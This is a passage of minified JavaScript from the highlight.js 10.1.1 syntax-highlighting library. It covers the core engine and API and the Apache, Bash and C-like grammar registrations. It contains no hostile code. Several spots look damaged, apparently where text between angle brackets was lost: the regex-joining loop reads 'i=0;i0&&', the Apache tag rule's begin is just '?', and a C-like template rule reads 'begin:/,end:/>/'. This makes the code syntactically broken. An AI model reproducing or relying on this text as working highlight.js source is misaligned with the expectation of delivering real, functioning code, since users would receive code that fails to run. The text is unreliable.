g="(-?)(\\b0[xX][a-fA-F0-9]+|(\\b\\d+(\\.\\d*)?|\\.\\d+)([eE][-+]?\\d+)?)",h={begin:"\\\\[\\s\\S]",relevance:0},f={className:"string",begin:"'",end:"'",illegal:"\\n",contains:[h]},p={className:"string",begin:'"',end:'"',illegal:"\\n",contains:[h]},b={begin:/\b(a|an|the|are|I'm|isn't|don't|doesn't|won't|but|just|should|pretty|simply|enough|gonna|going|wtf|so|such|will|you|your|they|like|more)\b/},m=function(e,n,t={}){var a=r({className:"comment",begin:e,end:n,contains:[]},t);return a.contains.push(b),a.contains.push({className:"doctag",begin:"(?:TODO|FIXME|NOTE|BUG|OPTIMIZE|HACK|XXX):",relevance:0}),a},v=m("//","$"),x=m("/\\*","\\*/"),E=m("#","$");var _=Object.freeze({__proto__:null,IDENT_RE:"[a-zA-Z]\\w*",UNDERSCORE_IDENT_RE:"[a-zA-Z_]\\w*",NUMBER_RE:"\\b\\d+(\\.\\d+)?",C_NUMBER_RE:g,BINARY_NUMBER_RE:"\\b(0b[01]+)",RE_STARTERS_RE:"!|!=|!==|%|%=|&|&&|&=|\\*|\\*=|\\+|\\+=|,|-|-=|/=|/|:|;|<<|<<=|<=|<|===|==|=|>>>=|>>=|>=|>>>|>>|>|\\?|\\[|\\{|\\(|\\^|\\^=|\\||\\|=|\\|\\||~",SHEBANG:(e={})=>{const n=/^#![ ]*\//;return e.binary&&(e.begin=function(...e){return e.map(e=>d(e)).join("")}(n,/.*\b/,e.binary,/\b.*/)),r({className:"meta",begin:n,end:/$/,relevance:0,"on:begin":(e,n)=>{0!==e.index&&n.ignoreMatch()}},e)},BACKSLASH_ESCAPE:h,APOS_STRING_MODE:f,QUOTE_STRING_MODE:p,PHRASAL_WORDS_MODE:b,COMMENT:m,C_LINE_COMMENT_MODE:v,C_BLOCK_COMMENT_MODE:x,HASH_COMMENT_MODE:E,NUMBER_MODE:{className:"number",begin:"\\b\\d+(\\.\\d+)?",relevance:0},C_NUMBER_MODE:{className:"number",begin:g,relevance:0},BINARY_NUMBER_MODE:{className:"number",begin:"\\b(0b[01]+)",relevance:0},CSS_NUMBER_MODE:{className:"number",begin:"\\b\\d+(\\.\\d+)?(%|em|ex|ch|rem|vw|vh|vmin|vmax|cm|mm|in|pt|pc|px|deg|grad|rad|turn|s|ms|Hz|kHz|dpi|dpcm|dppx)?",relevance:0},REGEXP_MODE:{begin:/(?=\/[^/\n]*\/)/,contains:[{className:"regexp",begin:/\//,end:/\/[gimuy]*/,illegal:/\n/,contains:[h,{begin:/\[/,end:/\]/,relevance:0,contains:[h]}]}]},TITLE_MODE:{className:"title",begin:"[a-zA-Z]\\w*",relevance:0},UNDERSCORE_TITLE_MODE:{className:"title",begin:"[a-zA-Z_]\\w*",relevance:0},METHOD_GUARD:{begin:"\\.\\s*[a-zA-Z_]\\w*",relevance:0},END_SAME_AS_BEGIN:function(e){return Object.assign(e,{"on:begin":(e,n)=>{n.data._beginMatch=e[1]},"on:end":(e,n)=>{n.data._beginMatch!==e[1]&&n.ignoreMatch()}})}}),N="of and for in not or if then".split(" ");function w(e,n){return n?+n:function(e){return N.includes(e.toLowerCase())}(e)?0:1}const R=t,y=r,{nodeStream:k,mergeStreams:O}=i,M=Symbol("nomatch");return function(t){var a=[],i={},s={},o=[],l=!0,c=/(^(<[^>]+>|\t|)+|\n)/gm,g="Could not find the language '{}', did you forget to load/include a language module?";const h={disableAutodetect:!0,name:"Plain text",contains:[]};var f={noHighlightRe:/^(no-?highlight)$/i,languageDetectRe:/\blang(?:uage)?-([\w-]+)\b/i,classPrefix:"hljs-",tabReplace:null,useBR:!1,languages:null,__emitter:u};function p(e){return f.noHighlightRe.test(e)}function b(e,n,t,r){var a={code:n,language:e};S("before:highlight",a);var i=a.result?a.result:m(a.language,a.code,t,r);return i.code=a.code,S("after:highlight",i),i}function m(e,t,a,s){var o=t;function c(e,n){var t=E.case_insensitive?n[0].toLowerCase():n[0];return Object.prototype.hasOwnProperty.call(e.keywords,t)&&e.keywords[t]}function u(){null!=y.subLanguage?function(){if(""!==A){var e=null;if("string"==typeof y.subLanguage){if(!i[y.subLanguage])return void O.addText(A);e=m(y.subLanguage,A,!0,k[y.subLanguage]),k[y.subLanguage]=e.top}else e=v(A,y.subLanguage.length?y.subLanguage:null);y.relevance>0&&(I+=e.relevance),O.addSublanguage(e.emitter,e.language)}}():function(){if(!y.keywords)return void O.addText(A);let e=0;y.keywordPatternRe.lastIndex=0;let n=y.keywordPatternRe.exec(A),t="";for(;n;){t+=A.substring(e,n.index);const r=c(y,n);if(r){const[e,a]=r;O.addText(t),t="",I+=a,O.addKeyword(n[0],e)}else t+=n[0];e=y.keywordPatternRe.lastIndex,n=y.keywordPatternRe.exec(A)}t+=A.substr(e),O.addText(t)}(),A=""}function h(e){return e.className&&O.openNode(e.className),y=Object.create(e,{parent:{value:y}})}function p(e){return 0===y.matcher.regexIndex?(A+=e[0],1):(L=!0,0)}var b={};function x(t,r){var i=r&&r[0];if(A+=t,null==i)return u(),0;if("begin"===b.type&&"end"===r.type&&b.index===r.index&&""===i){if(A+=o.slice(r.index,r.index+1),!l){const n=Error("0 width match regex");throw n.languageName=e,n.badRule=b.rule,n}return 1}if(b=r,"begin"===r.type)return function(e){var t=e[0],r=e.rule;const a=new n(r),i=[r.__beforeBegin,r["on:begin"]];for(const n of i)if(n&&(n(e,a),a.ignore))return p(t);return r&&r.endSameAsBegin&&(r.endRe=RegExp(t.replace(/[-/\\^$*+?.()|[\]{}]/g,"\\$&"),"m")),r.skip?A+=t:(r.excludeBegin&&(A+=t),u(),r.returnBegin||r.excludeBegin||(A=t)),h(r),r.returnBegin?0:t.length}(r);if("illegal"===r.type&&!a){const e=Error('Illegal lexeme "'+i+'" for mode "'+(y.className||"")+'"');throw e.mode=y,e}if("end"===r.type){var s=function(e){var t=e[0],r=o.substr(e.index),a=function e(t,r,a){let i=function(e,n){var t=e&&e.exec(n);return t&&0===t.index}(t.endRe,a);if(i){if(t["on:end"]){const e=new n(t);t["on:end"](r,e),e.ignore&&(i=!1)}if(i){for(;t.endsParent&&t.parent;)t=t.parent;return t}}if(t.endsWithParent)return e(t.parent,r,a)}(y,e,r);if(!a)return M;var i=y;i.skip?A+=t:(i.returnEnd||i.excludeEnd||(A+=t),u(),i.excludeEnd&&(A=t));do{y.className&&O.closeNode(),y.skip||y.subLanguage||(I+=y.relevance),y=y.parent}while(y!==a.parent);return a.starts&&(a.endSameAsBegin&&(a.starts.endRe=a.endRe),h(a.starts)),i.returnEnd?0:t.length}(r);if(s!==M)return s}if("illegal"===r.type&&""===i)return 1;if(B>1e5&&B>3*r.index)throw Error("potential infinite loop, way more iterations than matches");return A+=i,i.length}var E=T(e);if(!E)throw console.error(g.replace("{}",e)),Error('Unknown language: "'+e+'"');var _=function(e){function n(n,t){return RegExp(d(n),"m"+(e.case_insensitive?"i":"")+(t?"g":""))}class t{constructor(){this.matchIndexes={},this.regexes=[],this.matchAt=1,this.position=0}addRule(e,n){n.position=this.position++,this.matchIndexes[this.matchAt]=n,this.regexes.push([n,e]),this.matchAt+=function(e){return RegExp(e.toString()+"|").exec("").length-1}(e)+1}compile(){0===this.regexes.length&&(this.exec=()=>null);const e=this.regexes.map(e=>e[1]);this.matcherRe=n(function(e,n="|"){for(var t=/\[(?:[^\\\]]|\\.)*\]|\(\??|\\([1-9][0-9]*)|\\./,r=0,a="",i=0;i0&&(a+=n),a+="(";o.length>0;){var l=t.exec(o);if(null==l){a+=o;break}a+=o.substring(0,l.index),o=o.substring(l.index+l[0].length),"\\"===l[0][0]&&l[1]?a+="\\"+(+l[1]+s):(a+=l[0],"("===l[0]&&r++)}a+=")"}return a}(e),!0),this.lastIndex=0}exec(e){this.matcherRe.lastIndex=this.lastIndex;const n=this.matcherRe.exec(e);if(!n)return null;const t=n.findIndex((e,n)=>n>0&&void 0!==e),r=this.matchIndexes[t];return n.splice(0,t),Object.assign(n,r)}}class a{constructor(){this.rules=[],this.multiRegexes=[],this.count=0,this.lastIndex=0,this.regexIndex=0}getMatcher(e){if(this.multiRegexes[e])return this.multiRegexes[e];const n=new t;return this.rules.slice(e).forEach(([e,t])=>n.addRule(e,t)),n.compile(),this.multiRegexes[e]=n,n}considerAll(){this.regexIndex=0}addRule(e,n){this.rules.push([e,n]),"begin"===n.type&&this.count++}exec(e){const n=this.getMatcher(this.regexIndex);n.lastIndex=this.lastIndex;const t=n.exec(e);return t&&(this.regexIndex+=t.position+1,this.regexIndex===this.count&&(this.regexIndex=0)),t}}function i(e,n){const t=e.input[e.index-1],r=e.input[e.index+e[0].length];"."!==t&&"."!==r||n.ignoreMatch()}if(e.contains&&e.contains.includes("self"))throw Error("ERR: contains `self` is not supported at the top-level of a language. See documentation.");return function t(s,o){const l=s;if(s.compiled)return l;s.compiled=!0,s.__beforeBegin=null,s.keywords=s.keywords||s.beginKeywords;let c=null;if("object"==typeof s.keywords&&(c=s.keywords.$pattern,delete s.keywords.$pattern),s.keywords&&(s.keywords=function(e,n){var t={};return"string"==typeof e?r("keyword",e):Object.keys(e).forEach((function(n){r(n,e[n])})),t;function r(e,r){n&&(r=r.toLowerCase()),r.split(" ").forEach((function(n){var r=n.split("|");t[r[0]]=[e,w(r[0],r[1])]}))}}(s.keywords,e.case_insensitive)),s.lexemes&&c)throw Error("ERR: Prefer `keywords.$pattern` to `mode.lexemes`, BOTH are not allowed. (see mode reference) ");return l.keywordPatternRe=n(s.lexemes||c||/\w+/,!0),o&&(s.beginKeywords&&(s.begin="\\b("+s.beginKeywords.split(" ").join("|")+")(?=\\b|\\s)",s.__beforeBegin=i),s.begin||(s.begin=/\B|\b/),l.beginRe=n(s.begin),s.endSameAsBegin&&(s.end=s.begin),s.end||s.endsWithParent||(s.end=/\B|\b/),s.end&&(l.endRe=n(s.end)),l.terminator_end=d(s.end)||"",s.endsWithParent&&o.terminator_end&&(l.terminator_end+=(s.end?"|":"")+o.terminator_end)),s.illegal&&(l.illegalRe=n(s.illegal)),void 0===s.relevance&&(s.relevance=1),s.contains||(s.contains=[]),s.contains=[].concat(...s.contains.map((function(e){return function(e){return e.variants&&!e.cached_variants&&(e.cached_variants=e.variants.map((function(n){return r(e,{variants:null},n)}))),e.cached_variants?e.cached_variants:function e(n){return!!n&&(n.endsWithParent||e(n.starts))}(e)?r(e,{starts:e.starts?r(e.starts):null}):Object.isFrozen(e)?r(e):e}("self"===e?s:e)}))),s.contains.forEach((function(e){t(e,l)})),s.starts&&t(s.starts,o),l.matcher=function(e){const n=new a;return e.contains.forEach(e=>n.addRule(e.begin,{rule:e,type:"begin"})),e.terminator_end&&n.addRule(e.terminator_end,{type:"end"}),e.illegal&&n.addRule(e.illegal,{type:"illegal"}),n}(l),l}(e)}(E),N="",y=s||_,k={},O=new f.__emitter(f);!function(){for(var e=[],n=y;n!==E;n=n.parent)n.className&&e.unshift(n.className);e.forEach(e=>O.openNode(e))}();var A="",I=0,S=0,B=0,L=!1;try{for(y.matcher.considerAll();;){B++,L?L=!1:(y.matcher.lastIndex=S,y.matcher.considerAll());const e=y.matcher.exec(o);if(!e)break;const n=x(o.substring(S,e.index),e);S=e.index+n}return x(o.substr(S)),O.closeAllNodes(),O.finalize(),N=O.toHTML(),{relevance:I,value:N,language:e,illegal:!1,emitter:O,top:y}}catch(n){if(n.message&&n.message.includes("Illegal"))return{illegal:!0,illegalBy:{msg:n.message,context:o.slice(S-100,S+100),mode:n.mode},sofar:N,relevance:0,value:R(o),emitter:O};if(l)return{illegal:!1,relevance:0,value:R(o),emitter:O,language:e,top:y,errorRaised:n};throw n}}function v(e,n){n=n||f.languages||Object.keys(i);var t=function(e){const n={relevance:0,emitter:new f.__emitter(f),value:R(e),illegal:!1,top:h};return n.emitter.addText(e),n}(e),r=t;return n.filter(T).filter(I).forEach((function(n){var a=m(n,e,!1);a.language=n,a.relevance>r.relevance&&(r=a),a.relevance>t.relevance&&(r=t,t=a)})),r.language&&(t.second_best=r),t}function x(e){return f.tabReplace||f.useBR?e.replace(c,e=>"\n"===e?f.useBR?" ":e:f.tabReplace?e.replace(/\t/g,f.tabReplace):e):e}function E(e){let n=null;const t=function(e){var n=e.className+" ";n+=e.parentNode?e.parentNode.className:"";const t=f.languageDetectRe.exec(n);if(t){var r=T(t[1]);return r||(console.warn(g.replace("{}",t[1])),console.warn("Falling back to no-highlight mode for this block.",e)),r?t[1]:"no-highlight"}return n.split(/\s+/).find(e=>p(e)||T(e))}(e);if(p(t))return;S("before:highlightBlock",{block:e,language:t}),f.useBR?(n=document.createElement("div")).innerHTML=e.innerHTML.replace(/\n/g,"").replace(/ /g,"\n"):n=e;const r=n.textContent,a=t?b(t,r,!0):v(r),i=k(n);if(i.length){const e=document.createElement("div");e.innerHTML=a.value,a.value=O(i,k(e),r)}a.value=x(a.value),S("after:highlightBlock",{block:e,result:a}),e.innerHTML=a.value,e.className=function(e,n,t){var r=n?s[n]:t,a=[e.trim()];return e.match(/\bhljs\b/)||a.push("hljs"),e.includes(r)||a.push(r),a.join(" ").trim()}(e.className,t,a.language),e.result={language:a.language,re:a.relevance,relavance:a.relevance},a.second_best&&(e.second_best={language:a.second_best.language,re:a.second_best.relevance,relavance:a.second_best.relevance})}const N=()=>{if(!N.called){N.called=!0;var e=document.querySelectorAll("pre code");a.forEach.call(e,E)}};function T(e){return e=(e||"").toLowerCase(),i[e]||i[s[e]]}function A(e,{languageName:n}){"string"==typeof e&&(e=[e]),e.forEach(e=>{s[e]=n})}function I(e){var n=T(e);return n&&!n.disableAutodetect}function S(e,n){var t=e;o.forEach((function(e){e[t]&&e[t](n)}))}Object.assign(t,{highlight:b,highlightAuto:v,fixMarkup:x,highlightBlock:E,configure:function(e){f=y(f,e)},initHighlighting:N,initHighlightingOnLoad:function(){window.addEventListener("DOMContentLoaded",N,!1)},registerLanguage:function(e,n){var r=null;try{r=n(t)}catch(n){if(console.error("Language definition for '{}' could not be registered.".replace("{}",e)),!l)throw n;console.error(n),r=h}r.name||(r.name=e),i[e]=r,r.rawDefinition=n.bind(null,t),r.aliases&&A(r.aliases,{languageName:e})},listLanguages:function(){return Object.keys(i)},getLanguage:T,registerAliases:A,requireLanguage:function(e){var n=T(e);if(n)return n;throw Error("The '{}' language is required, but not loaded.".replace("{}",e))},autoDetection:I,inherit:y,addPlugin:function(e){o.push(e)}}),t.debugMode=function(){l=!1},t.safeMode=function(){l=!0},t.versionString="10.1.1";for(const n in _)"object"==typeof _[n]&&e(_[n]);return Object.assign(t,_),t}({})}();"object"==typeof exports&&"undefined"!=typeof module&&(module.exports=hljs);
hljs.registerLanguage("apache",function(){"use strict";return function(e){var n={className:"number",begin:"\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}(:\\d{1,5})?"};return{name:"Apache config",aliases:["apacheconf"],case_insensitive:!0,contains:[e.HASH_COMMENT_MODE,{className:"section",begin:"?",end:">",contains:[n,{className:"number",begin:":\\d{1,5}"},e.inherit(e.QUOTE_STRING_MODE,{relevance:0})]},{className:"attribute",begin:/\w+/,relevance:0,keywords:{nomarkup:"order deny allow setenv rewriterule rewriteengine rewritecond documentroot sethandler errordocument loadmodule options header listen serverroot servername"},starts:{end:/$/,relevance:0,keywords:{literal:"on off all deny allow"},contains:[{className:"meta",begin:"\\s\\[",end:"\\]$"},{className:"variable",begin:"[\\$%]\\{",end:"\\}",contains:["self",{className:"number",begin:"[\\$%]\\d+"}]},n,{className:"number",begin:"\\d+"},e.QUOTE_STRING_MODE]}}],illegal:/\S/}}}());
hljs.registerLanguage("bash",function(){"use strict";return function(e){const s={};Object.assign(s,{className:"variable",variants:[{begin:/\$[\w\d#@][\w\d_]*/},{begin:/\$\{/,end:/\}/,contains:[{begin:/:-/,contains:[s]}]}]});const t={className:"subst",begin:/\$\(/,end:/\)/,contains:[e.BACKSLASH_ESCAPE]},n={className:"string",begin:/"/,end:/"/,contains:[e.BACKSLASH_ESCAPE,s,t]};t.contains.push(n);const a={begin:/\$\(\(/,end:/\)\)/,contains:[{begin:/\d+#[0-9a-f]+/,className:"number"},e.NUMBER_MODE,s]},i=e.SHEBANG({binary:"(fish|bash|zsh|sh|csh|ksh|tcsh|dash|scsh)",relevance:10}),c={className:"function",begin:/\w[\w\d_]*\s*\(\s*\)\s*\{/,returnBegin:!0,contains:[e.inherit(e.TITLE_MODE,{begin:/\w[\w\d_]*/})],relevance:0};return{name:"Bash",aliases:["sh","zsh"],keywords:{$pattern:/\b-?[a-z\._]+\b/,keyword:"if then else elif fi for while in do done case esac function",literal:"true false",built_in:"break cd continue eval exec exit export getopts hash pwd readonly return shift test times trap umask unset alias bind builtin caller command declare echo enable help let local logout mapfile printf read readarray source type typeset ulimit unalias set shopt autoload bg bindkey bye cap chdir clone comparguments compcall compctl compdescribe compfiles compgroups compquote comptags comptry compvalues dirs disable disown echotc echoti emulate fc fg float functions getcap getln history integer jobs kill limit log noglob popd print pushd pushln rehash sched setcap setopt stat suspend ttyctl unfunction unhash unlimit unsetopt vared wait whence where which zcompile zformat zftp zle zmodload zparseopts zprof zpty zregexparse zsocket zstyle ztcp",_:"-ne -eq -lt -gt -f -d -e -s -l -a"},contains:[i,e.SHEBANG(),c,a,e.HASH_COMMENT_MODE,n,{className:"",begin:/\\"/},{className:"string",begin:/'/,end:/'/},s]}}}());
hljs.registerLanguage("c-like",function(){"use strict";return function(e){function t(e){return"(?:"+e+")?"}var n="(decltype\\(auto\\)|"+t("[a-zA-Z_]\\w*::")+"[a-zA-Z_]\\w*"+t("<.*?>")+")",r={className:"keyword",begin:"\\b[a-z\\d_]*_t\\b"},a={className:"string",variants:[{begin:'(u8?|U|L)?"',end:'"',illegal:"\\n",contains:[e.BACKSLASH_ESCAPE]},{begin:"(u8?|U|L)?'(\\\\(x[0-9A-Fa-f]{2}|u[0-9A-Fa-f]{4,8}|[0-7]{3}|\\S)|.)",end:"'",illegal:"."},e.END_SAME_AS_BEGIN({begin:/(?:u8?|U|L)?R"([^()\\ ]{0,16})\(/,end:/\)([^()\\ ]{0,16})"/})]},i={className:"number",variants:[{begin:"\\b(0b[01']+)"},{begin:"(-?)\\b([\\d']+(\\.[\\d']*)?|\\.[\\d']+)(u|U|l|L|ul|UL|f|F|b|B)"},{begin:"(-?)(\\b0[xX][a-fA-F0-9']+|(\\b[\\d']+(\\.[\\d']*)?|\\.[\\d']+)([eE][-+]?[\\d']+)?)"}],relevance:0},s={className:"meta",begin:/#\s*[a-z]+\b/,end:/$/,keywords:{"meta-keyword":"if else elif endif define undef warning error line pragma _Pragma ifdef ifndef include"},contains:[{begin:/\\\n/,relevance:0},e.inherit(a,{className:"meta-string"}),{className:"meta-string",begin:/<.*?>/,end:/$/,illegal:"\\n"},e.C_LINE_COMMENT_MODE,e.C_BLOCK_COMMENT_MODE]},o={className:"title",begin:t("[a-zA-Z_]\\w*::")+e.IDENT_RE,relevance:0},c=t("[a-zA-Z_]\\w*::")+e.IDENT_RE+"\\s*\\(",l={keyword:"int float while private char char8_t char16_t char32_t catch import module export virtual operator sizeof dynamic_cast|10 typedef const_cast|10 const for static_cast|10 union namespace unsigned long volatile static protected bool template mutable if public friend do goto auto void enum else break extern using asm case typeid wchar_t short reinterpret_cast|10 default double register explicit signed typename try this switch continue inline delete alignas alignof constexpr consteval constinit decltype concept co_await co_return co_yield requires noexcept static_assert thread_local restrict final override atomic_bool atomic_char atomic_schar atomic_uchar atomic_short atomic_ushort atomic_int atomic_uint atomic_long atomic_ulong atomic_llong atomic_ullong new throw return and and_eq bitand bitor compl not not_eq or or_eq xor xor_eq",built_in:"std string wstring cin cout cerr clog stdin stdout stderr stringstream istringstream ostringstream auto_ptr deque list queue stack vector map set pair bitset multiset multimap unordered_set unordered_map unordered_multiset unordered_multimap priority_queue make_pair array shared_ptr abort terminate abs acos asin atan2 atan calloc ceil cosh cos exit exp fabs floor fmod fprintf fputs free frexp fscanf future isalnum isalpha iscntrl isdigit isgraph islower isprint ispunct isspace isupper isxdigit tolower toupper labs ldexp log10 log malloc realloc memchr memcmp memcpy memset modf pow printf putchar puts scanf sinh sin snprintf sprintf sqrt sscanf strcat strchr strcmp strcpy strcspn strlen strncat strncmp strncpy strpbrk strrchr strspn strstr tanh tan vfprintf vprintf vsprintf endl initializer_list unique_ptr _Bool complex _Complex imaginary _Imaginary",literal:"true false nullptr NULL"},d=[r,e.C_LINE_COMMENT_MODE,e.C_BLOCK_COMMENT_MODE,i,a],_={variants:[{begin:/=/,end:/;/},{begin:/\(/,end:/\)/},{beginKeywords:"new throw return else",end:/;/}],keywords:l,contains:d.concat([{begin:/\(/,end:/\)/,keywords:l,contains:d.concat(["self"]),relevance:0}]),relevance:0},u={className:"function",begin:"("+n+"[\\*&\\s]+)+"+c,returnBegin:!0,end:/[{;=]/,excludeEnd:!0,keywords:l,illegal:/[^\w\s\*&:<>]/,contains:[{begin:"decltype\\(auto\\)",keywords:l,relevance:0},{begin:c,returnBegin:!0,contains:[o],relevance:0},{className:"params",begin:/\(/,end:/\)/,keywords:l,relevance:0,contains:[e.C_LINE_COMMENT_MODE,e.C_BLOCK_COMMENT_MODE,a,i,r,{begin:/\(/,end:/\)/,keywords:l,relevance:0,contains:["self",e.C_LINE_COMMENT_MODE,e.C_BLOCK_COMMENT_MODE,a,i,r]}]},r,e.C_LINE_COMMENT_MODE,e.C_BLOCK_COMMENT_MODE,s]};return{aliases:["c","cc","h","c++","h++","hpp","hh","hxx","cxx"],keywords:l,disableAutodetect:!0,illegal:"",contains:[].concat(_,u,d,[s,{begin:"\\b(deque|list|queue|priority_queue|pair|stack|vector|map|set|bitset|multiset|multimap|unordered_map|unordered_set|unordered_multiset|unordered_multimap|array)\\s*<",end:">",keywords:l,contains:["self",r]},{begin:e.IDENT_RE+"::",keywords:l},{className:"class",beginKeywords:"class struct",end:/[{;:]/,contains:[{begin:/,end:/>/,contains:["self"]},e.TITLE_MODE]}]),exports:{preprocessor:s,strings:a,keywords:l}}}}());